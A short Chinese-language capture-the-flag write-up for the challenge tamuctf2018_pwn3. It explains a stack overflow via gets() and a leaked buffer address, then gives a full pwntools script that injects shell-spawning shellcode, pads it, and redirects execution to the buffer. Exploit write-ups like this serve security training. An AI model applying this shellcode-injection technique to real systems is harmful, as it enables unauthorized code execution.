tamuctf2018_pwn3

思路

  • 首先看到主函数,提示没有print_flag函数可以用了,要自己写shellcode,看到调用echo函数,在echo函数可以看见gets,再次的知道溢出点在此,因此我们可以使该处溢出,从而控制程序流。通过查看栈,可以看出s的大小在0xee,但为了使程序流走向我们想要的位置,还需要覆盖多0x4,一共覆盖0xf2大小的空间
  • 但问题是我们如何如何构建一个类似函数的东西,要有函数的地址,内部空间存有我们的shelllcode,因此,我们还要关注到在调用gets前,程序还输出了s所在的地址。
echo.png
  • 因此我们可以获取s的地址并把shellcode也当作覆盖地址的第一部分代码,在最后函数返回地址处覆盖为s的地址,使得程序回到s的开头,同时也是我们shellcode所在的地方,从而执行shellcode
from pwn import*

context.log_level = 'debug'

shellcode = asm(shellcraft.sh())

io=process('./pwn3')
io.recvuntil('Your random number ')
text=io.recvline()[2:10]
print text

b_addr= int(text,16)

payload = shellcode + '\x90'* (0xf2 - len(shellcode)) +p32(b_addr)
io.recvuntil('Now what should I echo? ')
io.send(payload)
io.interactive()
io.close()

你可能感兴趣的:(tamuctf2018_pwn3)